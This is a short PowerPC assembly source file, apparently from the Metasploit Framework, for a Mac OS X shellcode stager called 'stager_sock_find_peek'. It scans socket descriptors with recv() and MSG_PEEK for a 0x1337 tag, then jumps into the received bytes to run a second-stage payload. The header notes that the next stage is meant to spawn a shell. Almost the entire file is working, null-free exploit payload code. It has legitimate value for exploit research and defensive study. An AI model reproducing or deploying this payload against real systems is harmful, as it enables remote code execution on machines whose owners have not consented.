;;
;
;        Name: stager_sock_find_peek
;   Qualities: Null-Free
;   Platforms: MacOS X / PPC
;     Authors: H D Moore < hdm [at] metasploit.com >
;     Version: $Revision: 1.1 $
;     License:
;
;        This file is part of the Metasploit Exploit Framework
;        and is subject to the same licenses and copyrights as
;        the rest of this package.
;
; Description:
;
;        This payload will recv() downward until the read
;        data contains the search tag (0xXXXX1337). Once the
;        tag is located, it will jump into the payload. The
;        recv() call is passed the MSG_PEEK flag, the stage
;        will need to flush the recv() queue before doing
;        something like dup2'ing a shell.
;
;;

.globl _main
.text
_main:
	li		r29, 0xfff
	li		r30, 0xfff
	addic.	r28, r29, -0xfff +1

findsock:
	subf.   r30, r28, r30
	blt		_main

	subi	r0, r29, 0xfff - 102
	mr		r3, r30
	subi	r4, r1, 4104
	li		r5, 4095
	subi	r6, r29, 0xfff - 0x82
	.long	0x44ffff02
	xor.	r6, r6, r6
	
	lhz		r27, -4104(r1)
	cmpwi	r27, 0x1337
	bne		findsock

gotsock:
	subi	r4, r1, 4100
	mtctr	r4
	blectr	
	xor.	r6, r6, r6